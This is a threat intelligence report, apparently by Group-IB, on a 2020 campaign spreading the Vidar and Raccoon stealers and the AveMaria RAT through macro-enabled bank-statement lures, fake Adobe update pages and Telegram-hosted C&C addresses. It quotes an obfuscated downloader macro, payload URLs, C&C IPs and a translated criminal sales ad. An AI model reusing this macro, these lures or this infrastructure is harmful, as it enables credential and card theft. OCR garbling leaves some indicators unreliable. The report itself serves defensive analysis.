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Introduction

In the summer of 2020, Group-IB specialists discovered a malware distribution campaign
exploiting Telegram's legitimate features. Analysis showed that the attackers used the
technique to distribute Raccoon stealer, i.e. malware spread through the Malware-as-a-
Service model on one of darknet forums. They, in particular, used Telegram channels in order
to bypass blocking of active C&C servers.

Raccoon Stealer collects system information, account data, bank card data, and autofill form
details from browsers (Google Chrome, Mozilla Firefox, Opera, etc.). What's more, Raccoon
Stealer scans the infected device for information about valid crypto wallets. If successful, it

gains access to configuration files.
ﬂ [APEH[A] Raccoon Stealer [maas, loader, c/c++]
ps By raccoonstealer
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raccoonstealer
We steal, you deal
eeee Raccoon Stealer. We steal, You deal!
£

7
HALA KOMAHAA C TOPACCTLIO NPEACTABNAGT BAM Pe3yNLTAT CBORH MHOTOMECAUHON PaGOoTL!

o Ele HMKOMA NPOUECE A0GLIMKM NOM0B He GbN TaK NEroK W HHTYMTHBHO NOHATEH. A COPTMPOBKA HACTONBLKO GHLICTPOI 1 YAOGHON. Mbl B3ANK Ha Ce6A BCe PyTHHHBIE PAGONHE MOMEHTLI, KOTOpSIe
TPATHAM BaWe APAIOUEHHOR BPEMS W HEPBL!, NOIBONME CXCHUSHTPUPOBATLCA HA CAMOM [NABHOM, - HA YBRNUUEHIM Bawed NPMGLLM
- MO0 3a6biTh NPO BECHNCABHHOR NOAHATHE CEPBEPOB M NPOKIAAOK, CEOPKY BMAROE M BCE CBAIANHBIE C ITMM XAONOTHI, TENepb NPOUECE NONHOCTBIO ABTOMATHINPOBAN: HYXHO MWL CAGNATH
oine:
HECKOMBKO KNWKOB MbILLIKOH
Activity

Hawn cneynanucTsl Benu napannensHyl paspaboTky no Tpem Hanpasnesuam: Software, Froni-end, Back-end. 310 npefoCcTaBuNO BOIMOXHOCTL CPOKYCHPOBATLCA HA KOHKDETHLIX 3afadax W

NONYYMTH HA HHNLE BCECTOPOHHE NPOPABOTaHHBI NPOAYKT.

Ceenwit codpt

© COGCTBEHHbI KO, Hall 6HAQ He ABNACTCA GOPKOM YXE CYLLECTBYIOUMX HA PhiHKe NPOAYKTOB.

* CTMN@P HANUCaH Ha C/C++, YTO IHAYUTENLHO YBENMUMNO CKOPOCTH PAGOTHI

« Haw 61unA AACT Bam OTANUHLIA OTCTYK NPH KKAOM NponuBe, Beab EHOTA 3aMeNaloT eAnHILLI AHTMBHPYCOB B YCNOBHAX AMHAMWYECKDIO TecTa

* Raccoon coSupaer: Naponu, Kyk1 W aBTO3aN0NHEHUE U3 BCeX NONYNApHLIX Gpay3epos (exmovan FireFox x64), panneie CC, CHCTEMHYIO MHOPMAaLMIO, NPAKTHYECKK BCE CYWeCTBYIoWMe
ACCKTONHBIE KOWENBKA KPHNTOBAMNOT

o BCTpoeHkbiil 3arpyIunK (aiinos.

# PaboTa kaK Ha 32, Tak W Ha 64-6UTHBIX CHCTeMax 6e3 3aBucumocTed ot .NET.

* ®aiin wa Bbixope - Native x86 executable npocT B KPHNTOBAHNM

e Private key, agpec reiiTa n BCe OCTANLHLIE CTPOYHBIE IHAYEHNA CHILHO JALMPPOBAHSI

Ad of Raccoon stealer on one of underground forums (translation is provided below)

Translation:
Raccoon Stealer. We steal, You deal!
Our team proudly presents the result of many months of work.
Stealing logs has never been so easy and straightforward and sorting them as never been so
fast and comfortable. We deal with all the frustrating, time-consuming, and tedious issues so
that you can focus on what's important: increasing your revenue.
Forget about routing and maintaining servers, assembling builds, and other problems. We've
gone automatic — all you need is a few clicks.
Our specialists work in three areas: software, front-end, and back-end. It helps us focus on
specific goals and release a complete product.
New software:

¢ Exclusive code. Unique build
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e C/C++ stealer with enhanced performance

o Excellent signal for each entry; only some antivirus software detects Raccoon during
dynamic testing

» Raccoon collects passwords, cookies, autofill data from all popular browsers (including
FireFox x64), CC data, system information, and almost all types of desktop crypto
wallets

o Embedded downloader

o Compatible with x32 and x64 operating systems regardless of .NET

¢ You get an easy-to-encrypt Native x86 executable file

¢ Private key, gate address, and other string values are heavily encrypted

During research, Group-IB Threat Intelligence & Attribution experts established links with
other elements of the threat actors' infrastructure and recreated the malicious campaign
timeline. The campaign was divided into four stages based on the tools used (type of
malware, registrars for creating infrastructure, etc.):

e First wave: February 19 to March 5 2020

e Second wave: March 13 to May 22, 2020

e Third wave: June 29 to July 2, 2020

e Fourth wave: August 24 to September 12, 2020

Most domains related to the investigated campaign were registered with two registrars:
Cloud2m and Host Africa. Cloud2m was used in earlier attacks. In mid-July 2020, some of
these domains moved to Host Africa.

Timeline of hacker group FakeSecurity's
malicious campaigns

|GF?DUF"TB|

February 19 -
March 5

Phishing kit
Mephistophilus

+

documents with
malicious macros
4

StealerVidar

March 13 —
May 22

Documents with
malicious macros
4

Stealer Raccoon

Registration

of domains for the
campaign with
the use of
JS-sniffer
FakeSecurity

June 29 —
July 2

Documents with
malicious macros

Stealer Raccoon

August 24 —
September 12

Phishing kit
Mephistophilus

+

documents with
malicious macros

Stealer Raccoon
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Timeline of FakeSecurity's malicious campaign from February to September 2020

Group-IB experts concluded that the purpose of the campaign in question was to steal
payment and user data. The attackers used several attack vectors and tools to deliver the
malware.

It was also discovered that in early 2020, before distributing the Raccoon stealer, the
attackers had distributed samples of another stealer called Vidar. To do so, they used
attachments with malicious macros and phishing pages created with the Mephistophilus
phishing kit.

Infection pattern in the malicious |Gpgup|ig|
campaigns of hacker group FakeSecurity

Infection pattern in the malicious campaigns of hacker group FakeSecurity

This malware distribution technique reminded Group-IB experts of the pattern used by
FakeSecurity JS-sniffer operators during the campaign described in November 2019. Apart
from having similar toolkits, both series of attacks targeted e-commerce. In May 2020,
Group-IB identified online stores that had been infected with a modified JS-sniffer of the
FakeSecurity family. The JS-sniffer was obfuscated using the aaencode algorithm, while the
domains used to store the code and collect stolen bank card data were registered during the
second wave with the same registrars as the domains that we discovered while investigating
the malicious campaign. As such, it can be assumed that FakeSecurity JS-sniffer operators
were behind the stealer distribution campaign.
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Domain infrastructure of FakeSecurity’s
malicious campaigns

GROUR|IB

securitycloudserverco.za
cloud-server-updaterco.za
cloud-server-updater(1-28].co.za
googlejscoza
express-js.coza
yahoo-network.co.za
yahoo-js.coza
yahoo-cloud.coza
google-networkcoza
free-jscoza
amazonjs.coza

business-366.coza
cloudupdates.coza

msupdaterco.za

Domains that changed
their registrar

google-js.coza

express-s.coza

yahoo-network.co.za
yahoo-js.co.za
yahoo-cloud coza
google-network.coza
free-js.coza
amazon-s.co.za

cloudupdates.coza
cloud-server-updaterco za
cloud-server-updater(1-28].coza
documents-cloud-servercoza
documents-cloud-server[1-8].co za
cloud-update-gerverl.co.za
cloudupdate coza
msupdatercoza

|

oneupdateadobe coza
updateadobe oo za
oneupdateadobe[2-4].coza
oneupdateadobe(2-3]orgza
updateforadobenew.coza
updateadobeonline.coza
azure-cloud.coza
azure-cloud[1-4] coza
azure-cloud[1-3]web.za
code-cloudcoza
code-cloud[1-6] coza
google-document.co za
cloud-script.co.za
node-jswebza
node-js.orgza
lib-cloud.orgza
googlejsorgza
nodejs.orgza
nodejs.web.za
googlejswebza
asp-cloud.orgza
script-cloud.coza
microsoft-cloudicoza
microsoft-cloud[6-16].coza
download-plugin.co.za

Cloud2M

l

Mephistophilus

documents-cloud-server[1-9][Jcoza
documents-cloud-server[.]co.za
oneupdateadobe.coza
oneupdateadobe[2-4
updateforadobensaw.
oneupdateadobe.orgza
oneupdateadebe[2-3] orgza

P
Gates of modified JS-sniffer
FakeSecurity

Raccoon n Vidar Stealer

cloud-server-updater.co.za
cloud-server-updater(1-28].co.za
365228 95180
35.198.88(]195
34105.255[]170
102130113[]65
34106.219[ |83
oneupdateadobe.coza
oneupdateadobe[2-4] coza
updateforadobenew.coza
microsoft-cloudi[Jcoza
microsoft-cloud[6-16] Jeo.za
cloudupdates[]co.za
oneupdateadobe[2-3].orgza
badlandsparks.com

gineuterinfo
paunsaugunt.com
p'ecamhr‘\ahar’aco‘n
biscayneinn.com

Domain infrastructure of FakeSecurity's malicious campaigns

First wave

The first wave of domain registrations began in the co.za zone on February 19, 2020. The

suspicious domains contained the following keywords: cloud, document, and Microsoft.
Examples of domains registered during the first wave are presented below:




As part of the campaign's first wave, the initial compromise vector used: (i) mailings with
attachments containing malicious macros and (ii) phishing pages leading to malware
downloading.

Documents with macros

On February 28, nine days after the first domain was registered, the file "Bank001.xlsm"
(SHA1: b1799345152f0f11a0a573b91093a1867d64e119) was uploaded to VirusTotal via a

US web interface.
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n The cells of this document are locked and will not
have data in them until the "Enable" button is pressed.
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11}
12
13

SHA1: b1799345152f0f11a0a
573b91093a1867d64e119 lure document. Alert says: "SECURITY WARNING. Macros have

been disabled. "Enable content.""

The file is a lure document with malicious macros. When activated, it downloads a payload
from http://cloudupdate.co[.]za/documents/msofficeupdate.exe.
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Sub Auto_Open()

DoesWSExist ("aall")

End Sub Function DoesWSExist(wsName As String) As Boolean

Dim ws As Worksheet s = s & "dim grove:dim uuuuuuuuuuuu:ival(aa = ""'a"")" & vbCrLf

"Function ival(obj)" & vbCrLf

" Eval(obj)" vbCrLf

"End function" & vbCrLf

"fsdfdsfs = ""aHR@cDovL2Nsb3VkdXBkYXR1LmNvLnphL2RvY3VtZW58cy9tc29mZmljZXVwZGFOZS51eGU="" " vbCrLf

"yulkytjtrhtjrkdsarjky =""bXNvZImZpY2V1cGRhdGUUZXh1l""" & vbCrLf

"frease = """"" & vbCrLf

"itype = ""bin.base64""" vbCrLf

"Function ase64Decode(ByVal sBase64EncodedText, ByVal fIsUtfl6LE)" & vbCrLf
Dim sTextEncoding" & vbCrLf
if fIsUtfl6LE Then sTextEncoding = ""utf-16le"" Else sTextEncoding = ""utf-8""" & vbCrLf
' Use an aux. XML document with a Base64-encoded element." vbCrLf
' Assigning the encoded text to .Text makes the decoded byte array" vbCrLf
' available via .nodeTypedValue, which we can pass to BytesToStr()" & vbCrLf
varob = ""CreateObject""" vbCrLf

' Execute(""Set alxmd = "" + varob + ""(""""Msxml2.DOMDocument"""").CreateElement(""""aux"""")"")" vbCrLf
alxmd.DataType = itype" vbCrLf
alxmd.Text = sBase64EncodedText" & vbCrLf
ase64Decode = BytesToStr(alxmd.NodeTypedValue, sTextEncoding)" & vbCrLf

"End Function" vbCrLf

"aaax = ""ADODB.Stream""" & vbCrLf

"function BytesToStr(ByVal byteArray, ByVal sTextEncoding)" vbCrLf

" If LCase(sTextEncoding) = ""utf-16le"" then" & vbCrLf

' UTF-16 LE happens to be VBScript's internal encoding, so we can” & vbCrLf

' take a shortcut and use CStr() to directly convert the byte array" vbCrLf

' to a string." & vbCrLf

" BytesToStr = CStr(byteArray)"™ & vbCrLf

' Else ' Convert the specified text encoding to a VBScript string." & vbCrLf s

0
"]

wunnonunnnunnunonoononononoonooononoononeonoeoononoe
vV nneneneoeooeonoenoennonoeoneonoeoe

Malicious macros contained in lure document and partially obfuscated in Base64

As a result, the file "msofficeupdate.exe" (SHA1:
f3498ba783b9c8c84d754af8a687d2ff189615d9) is executed. The C&C server in this case is
badlandsparks[.Jcom. This domain was registered on February 27, 2020 and is associated
with the IP address 185.244.149[.]100. More than 30 files connect to this domain alone.

£ Graph badlandsparks.com Nodes details

Domains
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R
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9f25...7938 538c...d171 " www.badlandsparks.com webcc

. c218..2335

8888 adm_17983777@whoisprotectio  whoisprotectionce
d90c...6957 4 oo

340 1Rda =
adm_17983777@whoisprotection.cc -~
- 5]

= 8b79...bd0c
www = ©736...4860

13b7...b9b6 by

= badlandsparks.com webcc
www.badlandsparks.com www | P

L
= = a7a6...ab8b
185.244.149.100 adm_17983777@wholsprotectio wholsprotectionce

L

dlcd...8038 1P} 80ee..01ca [ = nee

badlandsparks.com

W 185.234.52.161 W cose_esea
dBe6...4597 W 1P |
s 5 5799...afe

169.239.128.11 ssL e4d6...068a
b21b...0954 L .
L = s
= O d124..7153 =
= P =
24fb...574d L 4b40...adaf
2868...c8bd 4" 8 107.189.10.2400 = 5190..139d (| =

-~
= Baad..42624° &
L =

2645...ed0d 5b32...f7f4

30a...a7e1
2c62...f3b0

Infrastructure relating to the domain badlandsparks[.Jcom established with the help of
Group-IB Graph Network Analysis
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These files include "13b7afe8ee87977ae34734812482ca7efd62b9b6" and
"596a3cb4d82e6ab4d7223be640f614b0f7bd14af". They create a network connection to
gineuter[.]info, fastandprettycleaner[.]hk and badlandsparks[.]Jcom. Judging by the requests
they make to download libraries and open source data, the file "msofficeupdate.exe" and
others like it are samples of the Vidar stealer. Criminals use the stealer to collect data from
browsers (including web browsing history and account data), bank card data, crypto wallet
files, messages, and more.

Vidar Pro a
0 TOMLKO A9 HaCTHLIX ALY

Vidar stealer admin panel

596a3cb4d82e6ab4d7223be640f614b0f7bd14af

G ra ph 13b7afeBee879772e34734812482ca7efd62bIb6, 596a3cb4d82e6abad7223bes: <

1P|} wsS8.watashinonegai.nu

35 728134718
1P N
- AT
sns iz | -
si0 288706
wul cce nl, applicati 0.9, application/xhtmlixml, image/png,
gcleanerru . ~ .
— . - *~ badlandsparks.com
"% 596a3chad82e6abad7223be640f614b0f7bd14af (e

7185244349 100
a

S1D_2828705

45.143.138.69 —
a

= hitp://fastandprettycleaner hk/afus
fastandprettycleanerhk | *% SID_2832295 o T

D 2836156
GET /afus HTTP/1.1
pplication/xhtml+xml, image/png,

:q-0
4) ApplemebKit/537.36 (KHTML,

SHA1: 596a3cb4d82e6ab4d
7223be640f614b0f7bd14af file network communication built with the help of Group-IB Graph
Network Analysis

A list of Vidar-specific HTTP requests and a detailed overview are available here:
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/ (i.e 162) <- Config

ip-api.com/line/ <- Get Network Info
/msvcpl40.dll <- Required DLL

/nss3.dll <- Required DLL

/softokn3.dll <- Required DLL
/vcruntimel140.d1l1l <- Required DLL

/ <- Pushing Victim Archive to C2

The file "BankStatement1.xIsm" (SHA1: c2f8d217877b1a28e4951286d3375212f8dc23395) is
another lure document with malicious macros. When activated, it downloads the file from
http://download-plugin[.]Jco.za/documents/msofficeupdate.exe.

The download file SHA1: 430a406f2134b48908363e473dd6da11a172a7e1 is also a Vidar
stealer. The file is available for download here:

* http://download-plugin.col[.]za/documents/msofficeupdate.exe
* http://msupdater.co[.]za/documents/msofficeupdate.exe
* http://cloudupdate.co[.]za/documents/msofficeupdate.exe

(D) 53 engines detected this file  4n
2055¢cbe951d3d2fdc7c7fd129699acc45e3b13f0cbba04 710b7ccB3f8b880D 561.00 KB 2020-03-05 20:33:18 UTC C'O
msofficeupdate exe Size 5 manths ago EXE
- direct cpu-clock access peexe repeated clock access runtime_modules.
-------- ty
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

ITW Urls (]

Scanned Detections URL

2020-06-14 &r80 http://download-plugin.co.za/documents/msofiiceupdate exe

2020-06-14 12 /80 http://msupdater.co.za/documents/msofficeupdate. exe

2020-02-29 4770 http://cloudupdate co za/documents/msofficeupdate_ exe

Contacted URLs B

Scanned Detections URL

2020-05-04 8179 http://badlandsparks com/nss 3. dll

2020-05-04 8/79 http://badlandsparks.com/softokn3.dll

2020-06-11 G /80 http://badlandsparks.com/mozglue.dl

2020-05-04 8179 http://badlandsparks_comfvcruntime140.dll

2020-05-04 8179 http://badlandsparks_com/msvep140.dil

2020-04-30 3779 http://badlandsparks.com/

2020-04-22 6179 http://badlandsparks.com/freebl3.dIl

2020-08-10 0r79 http:/fip-api_com/line/

2020-04-23 6179 http://badlandsparks.com/302

Example of 430a406f2134b4890
8363e473dd6da11a172a7e1 file availability from different sources

Mephistophilus phishing kit

The second attack vector during the first wave was the use of phishing pages to distribute
malware.
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It turned out that the discovered domains (msupdater|.]co.za, cloudupdate[.]Jco.za and
documents-cloud-server[.]Jco.za) had the same A record created at the same time:
160.119.253][.]53. According to Group-IB's Graph Network Analysis, documents-cloud-
server[.]Jco.za contained the Mephistophilus phishing kit.

ww

alloaypparel.com (15 1P
W 18514125196
146.0.77.232 vy
& B

www.alloaypparel.com mep-servergdn

updatepluginsnetwork.com rooeaso

wuw

160.119.100.63
adobeupdateplugins.com

'3 1P www.documents-cloud-server1.co.za
www.updatepluginsnetwork.com 86100

1P

d‘listophilus @
160.119.253.53

Mephistophilus 2 documents-cloud-server1.co.za

601..8616

www

ments-cloud-server.co.za
v
@ mail.documents-cloud-server1.co.za

www.documents-cloud-server2.co.za documents-cloud-server3.co.za

documents-cloud-server.c0.za
—= www.documents-cloud-server7.co.za

. www documents-cloud-server3.co.za
6. fddg b
documents-cloud-server7.co.za

mail.documents-cloud-server3.co.za
mail.documents-cloud-server.co.za www.documents-cloud-server6.co.za

Ww'iocumunstm_ co.za
: Bl bOcS...e142
mail.documents-cloud-server7.co.za 2 -
cpanel.documents-cloud-server6.co.za =

www 1689...d5f0
beds...2d76 = 0e38..2295

£ e e e
Links between domains under review established with the help of Group-IB Graph Network

Analysis

From the start, Mephistophilus has been presented as a system for targeted phishing
attacks. This phishing kit contains several fake web page templates for delivering payload,
including:

» Microsoft Office 365, Word, and Excel online viewers
* PDF online viewer
* YouTube phishing page
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MEP-1

TARGETED ATTACKS

Login

Mephistophilus admin panel
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Plugin update required
This document cannot be displayed correctly
You are using an older version of Adobe Reader PDF Plugin

for Google Chrome
Adobe Reader
browser web-plugj

Download plugin

Fake Adobe Reader update window

The documents-cloud-server[.]Jco.za domain contains a web fake imitating an Adobe Reader
plugin update page. To continue viewing the document, the user is asked to download a
plugin. By clicking on "Download plugin," the user activates a malware download from
http://www.documents-cloud-server[.]Jco.za/file_d/adobe-reader-update-10.21.01.exe. Source
code of phishing content is available here.

A file with the same name "adobe-reader-update-10.21.01.exe" (SHA1:
f33¢c1f0930231fe6f5d0f00978188857cbb0e90d) was first uploaded to VirusTotal on March
13, 2020. It was available for download here:

* http://documents-cloud-server5[.]co.za/file_d/adobe-reader-update-10.21.01.exe
* http://documents-cloud-server1[.]co.za/file_d/adobe-reader-update-10.21.01.exe
* http://www.documents-cloud-server9[.]Jco.zalfile_d/adobe-reader-update-10.21.01.exe
* http://documents-cloud-server8[.]Jco.zalfile_d/adobe-reader-update-10.21.01.exe
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DETECTION

ITW Urls

Scanned

2020-06-13
2020-03-12
2020-06-13
2020-06-12

Contacted URLs

Scanned

2020-05-20
2020-08-10
2020-05-20
2020-05-08
2020-04-21
2020-05-25
2020-03-14
2020-06-12
2020-05-20

@ 51 engines detected this file

11ebbd55944d39d90c71d53338b2cdd96b642a44c95b9735d3a16418926c 9008 572.55 KB
adobe-reader-update-10.21.01.exe Size

overlay

DETAILS

Detections
§/80
2/7Mm
51/80
6 /80

Detections
11780
/79
10 /80
8/79
6/79
10 /80
7172
g/80
10 /80

self-delete

RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

URL

http://documents-cloud-servers_co.zaffile_d/adobe-reader-update-10.21.01.exe
http:/fdocuments-cloud-server1.co.zaffile_d/adobe-reader-update-10.21.01_exe
http:/fwww.documents-cloud-server9.co.zaffile_d/adobe-reader-update-10.21.01.exe

httpz//documents-cloud-serverd_co.zaffile_d/adobe-reader-update-10.21.01_exe

URL
http:/{mangroveforests_com/msvep140.dil
http:/fip-api.com/line/
http://mangroveforests_ com/freebl3.dll
httpz/fmangroveforests.com/nss3.dll
http:/fmangroveforests.com/
httpz/fmangroveforests.com/softokn3.dIl
http:/fmangroveforests_com/302
http:/fmangroveforests_com/mozglue dIl

http:/{mangroveforests_com/veruntime140.dll

Example of f33¢c1f0930231fe6f5d0
f00978188857cbb0e90d file availability from different sources

Another file named "msofficeupdater.exe" (SHA1:
bdfefdff7b755a89d60de22309da72b82df70ecb) was available for download here:

* http://www.documents-cloud-server7[.]Jco.za/doc/msofficeupdater.exe

* http://documents-cloud-server5[.]Jco.za/doc/msofficeupdater.exe
* http://documents-cloud-server7[.]Jco.za/doc/msofficeupdater.exe

* http://www.documents-cloud-server6[.]Jco.za/doc/msofficeupdater.exe

* http://documents-cloud-server1[.]Jco.za/doc/msofficeupdater.exe
* http://documents-cloud-server6[.]Jco.za/doc/msofficeupdater.exe

* http://www.documents-cloud-server5[.]Jco.za/doc/msofficeupdater.exe
* http://www.documents-cloud-server1[.]Jco.za/doc/msofficeupdater.exe

2020-03-14 07:28:27 UTC

o
Q

EXE
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DETECTION

ITW Urls

Scanned

2020-08-14
2020-06-14
2020-06-15
2020-06-13
2020-03-14
2020-03-14
2020-06-13
2020-06-14

Contacted URLs

Scanned

2020-04-28
2020-05-06
2020-04-28
2020-08-10
2020-06-13
2020-04-28
2020-04-28
2020-04-28
2020-04-28

(D) 58 engines detected this file

Tdddeb51f2dea719a6c6e70bf30db86e3333713d998 b4f8ach3 1eebcectbbd12

msofficeupdater.exe
checks-network-adapters direct-cpu-clock-access pesxe runtime-modules self-delete

DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS
Detections URL

10/80 http:/fwww.documents-cloud-server?.co.za/doc/msoficeupdater exe
11780 http://documents-cloud-server5.co.za/doc/msofficeupdater exe

16 /79 http://documents-cloud-server7.co.za/doc/msofficeupdater.exe
8/80 http:/fwww.documents-cloud-serverf_co za/doc/msofficeupdater exe
5171 http://documents-cloud-server1.co.za/doc/msofficeupdater.exe
9/ http://documents-cloud-serverb.co.za/doc/msofficeupdater.exe

10 /80 http:/fwww documents-cloud-server5_co za/doc/msofficeupdater.exe
9./80 http:/fwww.documents-cloud-server.co.za/doc/msofficeupdater.exe
Detections URL

5779 http://biscayneinn.com/nss3.dll

8./80 http://biscayneinn com/302

4779 http://biscayneinn.com/

0/79 http://ip-api.com/line/

51780 http://biscayneinn_com/softokn3.dll

5779 http://biscayneinn.com/mozglue.dil

6/79 http://biscayneinn.com/vcruntime140.dll

5779 http://biscayneinn_com/msvep140.dil

5179 http://biscayneinn.com/freebl3.dIl

2020-04-17 16:01:11 UTC

Q
o

EXE

Example of bdfefdff7b755a89d60de22309da72b82df70ecb file availability from different

sources

Second wave

The domains associated with the file SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb
led us to another batch of domains related to the attackers' infrastructure. The domains were
registered in two stages: the first batch on March 13, 2020 and the second one on May 22,

2020. Examples of second-wave domains:

These domains were created to distribute the Raccoon stealer. It is possible to establish the
connection between these domain batches by looking at SHA1:
b326f9a6d6087f10ef3a9f554a874243f000549d and SHA1:

F2B2F74F4572BF8BD2D948B34147FFE303F92A0F files. When executed, these files
establish a network connection to:

* cloudupdates].]co.za

* cloud-server-updater2|[.]Jco.za
* cloud-server-updater19.co.za
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< b326f9a6d6087f10ef3a9f554a874243f000549d

ra ph b3261926d6087f10ef3a9554a8742431000549d, F2B2F74F4572BF8BD2D948B3

Requests & Responses

cloud-serverupdater2.co.za

102.130.113.55

cloud-server-updater2.co.za
102.130.113.55

A

SiD cloudupdates.co.za

si0_1002753 - Response 102.130.119.142

.
Q o

102130.119.142
b326f9a6d6087f10ef3a9f554a874243f000549d

b326f9a6d6087f10ef3
a9f554a874243f000549d file network communication established with the help of Group-IB
Graph Network Analysis

About 50 malicious files from public sources are related to the domain cloudupdates|.]co.za.
Their first uploads date back to April 30, 2020 and the domain is similar to the previously
discovered cloudupdate.co[.]za. Besides having a similar domain name, it was registered
through the cloud2m registrar and ns1.host-ww.net, ns2.host-ww.net as well as
msupdater|.]Jco.za and cloudupdate[.]Jco.za

NSWhois: ns1.host-ww.net Domain:cloudupdate.co.za
NSWhois: ns2.host-ww.net Domain:msupdater.co.za
PhoneWhois: +27.164234342 Domain:cloudupdates.co.za

RegistrarWhois: Cloud2M

WheisServerWhois: Registrar URL: https://www.hostafrica.co.za

WHOIS records data from three domains

About 300 files from public sandboxes are associated with all the second-wave domains. All
these files are lure documents containing malicious macros named
"MyBankStatement_2436.xIsm", MyBankStatement_3269.xlsm,
"MyBankStatement_5763.xIsm", etc.
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6685955C5F006C2D
83A92952EB5EB3FB
9598C783 lure document sample

One of these files is "MyBank_5710.xIsm (SHA1:
685955C5F006C2D83A92952EBSEB3FB9598C783). After activating the macros in this
document, a file was downloaded from http://cloud-server-
updater22|.]Jco.za/doc/officebuilder. This file with SHA1:
3657CF5F2142C7E30F72E231E87518B82710DC1C is a Raccoon stealer. It connects to the
C&C server (35.228.95[.180) to exfiltrate the collected information, using Google's
infrastructure to legitimize requests. In turn, Raccoon makes a network connection to
http://cloud-server-updater1[.]Jco.za/doc/officeupdate.exe and downloads RAT AveMaria
(SHA1: a10925364347bde843a1d4105dddf4a4eb88c746), with the C&C server located at
the IP address 102.130.118[.]152.

AveMaria is a RAT, which was discovered by cybersecurity researchers in late 2018, when it
was used to attack an Italian oil and gas company. The RAT is capable of:

e Privilege escalation

o Ensuring persistence in the infected system

 Injecting code

» Keylogging

e Gaining access to web camera

e Managing processes

e Managing files (creation, download, exfiltration, deletion)

e RDP using rdpwrap
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 Info-stealer support:

- Google Chrome
- Firefox

- Internet Explorer
- Outlook

- Thunderbird

- Foxmail

#AVEMARIA

£ ekkox1zpvz.exe
#RACCOON @\ .

njysjan.exe

B« e
e P

excel.exe
<,

£ timeout.exe

6685955C5F006C2D
83A92952EB5EB3FB
9598C783 execution sequence

When running, Raccoon makes the following network requests:

58 (1) 58 engines detected this file

5c2f8fadd381878e8507be2a11eba1118f28Mde24c 10412207 c04b6080ed0 517.00 KB 2020-07-26 10:40:35 UTC

cxggughe\gemdptiinjysjan.exe

executes-dropped-fie peexe self-delete
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY

Contacted URLs B

Scanned Detections URL

2020-08-01 19/79 http://cloud-server-updateri.co.za/doc/officeupdate.exe

2020-07-02 7179 http://35.228.95 80/gate/log.php

2020-06-28 9179 http://35.228.95 80/gate/sqlite3.dll

2020-07-06 2179 https:/itelete.in/blintick

2020-07-01 9/79 http://35.228.95.80/gate/libs.zip
http://35.228.95 80/file_handler/file.php?hash=a16bf6clefcbdadcs17b0f03d7095b06835a597 e &js=409bd8aad9544d0e226ea93bef7 9a457276f5e 11&callback=http:
1/35.228.95 80/gate

Contacted Domains B

Domain Detections Created Registrar

cloud-server-updaterl.co.za © /83

telete.in 5/92 2019-03-11 GoDaddy.com, LLC

3657CF5F2142C7E30
F72E231E87518B827
10DC1C network requests

Among these network requests, there is a connection to the blintick Telegram channel.
Telegram was used by Raccoon's creators to bypass blocking of the C&C servers. To this
end, the stealer makes a request to the Telegram channel and receives the encrypted
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address of the new C&C server from the description. The first samples using this technique
began appearing on VirusTotal in late May 2020.

(ST SIS AR | Gate system update Raccoon Stealer 1.5.11 Mol NOAHOCTbIO OTOLLNK OT NPH
BBINHOR

[APEH[1A] Raccoon Stealer [maas, loader, c/c++]

06.05.2020

2 exploitin (7] 08.04.2019 —2509.2020 2 119 [F 352 =
) raccoonstealer

Details

tails  Identical re-posts  Linked profiles

TRANSLATE

exploit.in [APEH[1A] Raccoon Stealer [maas, loader, c/c++]

OGHoareH#e cucTembi refiTos | Gate system update Raccoon Stealer 1.5.11 Mbl NONHOCTbIO OTOWNN OT NPABBIYHOR CUCTEMb. IETEKT yMEHBLUIAETCR, OTCTYK PacTeT.
OGHoaneH#e Gunpa: - POPMAT CKPHHLIOTOR 3aMenEH Ha jpeg CniackGo 3a BaluM OTabiEs!  Noanepxky] Contacts: XMPP: support@raccoon biz Telegram:
http://t.me/beerbug http://t me/darkgr33n http://t me/raccoonstealer

318 08.04.2019 25.09.2020

Messages from the designers of the Raccoon stealer

Translation:

The gate system has been updated. We have completely changed the traditional scheme.
Detection decreases, keepalives increase. Build has been updated. The screenshot format
has been changed to jpeg. Thanks for your feedback and support!
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Channel Info

blintick

O

t.me/blintick

d0587q%z046whQTz3eykpel KiviBdEs+HXVkmiTKE
B8AdgEBEKIH TIMwA=0c-v3e

—
Lt

m

Motifications

VIEW CHANNEL

Join Channel

Report

blintick Telegram channel and its description

Although the Raccoon stealer is distributed according to the MaaS model, all files distributed
during the second wave accessed the same Telegram channel. This suggests that
documents with malicious macros downloading Raccoon were distributed by the same

group.
Third wave
The third wave of domain registration began on June 29, 2020:

* microsoft-cloud1[.]Jco.za
* microsoft-cloud6|.]co.za
* microsoft-cloud7[.]Jco.za
* microsoft-cloud8[.]Jco.za
* microsoft-cloud9[.]Jco.za
» microsoft-cloud10[.]Jco.za
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* microsoft-cloud11[.]Jco.za
 microsoft-cloud12[.]co.za
» microsoft-cloud13[.]Jco.za
» microsoft-cloud14[.]Jco.za
* microsoft-cloud15[.]Jco.za

All registered domains pointed to the IP address 102.130.112[.]195. The first malicious files
associated with this wave began to appear in public sandboxes as early as July 2, 2020. The
names of these decoys are almost the same as the names of the files sent in the past:
BankStatement0109_13169.xlsm, My_Statement_4211.xIlsm, and so on. There are about 30
files associated with the domains and cloud-server-updater1[.]Jco.za.

Network infrastructure. File connections with domains involved in two waves established with
the help of Group-IB Graph Network Analysis

The lure documents used as part of this wave look identical to the previous ones. Judging by
their behavior after macros are activated, they were created by the same builder. Such
builders make it possible to create office documents with malicious macros based on
templates, which helps attackers distribute malicious files much faster and more efficiently.
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This document is protected. Please click "H
Editing", then "Enable Content" to show c(

618C894C06633E3D7
ADD228531F6E775A1
80A7F7 lure document sample

Upon activating macros, the file "My_Statement_1953.xIsm" (SHA1:
618C894C06633E3D7ADD228531F6E775A180A7F7) sends a request to download the
stealer file http://microsoft-cloud13[.]Jco.za/msofficeupdate.exe. The Raccoon stealer file
(SHA1: 6639081791A8909F042E4A4197DF7051382B04ES) makes a series of requests to
its C&C server (35.198.88[.]195) and tries to download the file http://cloud-server-
updater1[.]Jco.za/doc/officeupdate.exe, but receives an "error 302" and is redirected to
http://cloud-server-updater1[.]Jco.za/cgi-sys/suspendedpage.cgi because the original domain
is blocked. It seems that the sample was trying to download RAT AveMaria as before. In
addition, all files related to this campaign made various network requests, including those to
the Telegram channel https://telete.in/blintick.
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< 6639081791a8909f042e4a4197df7051382b04e5 X

Pragma: no-cache
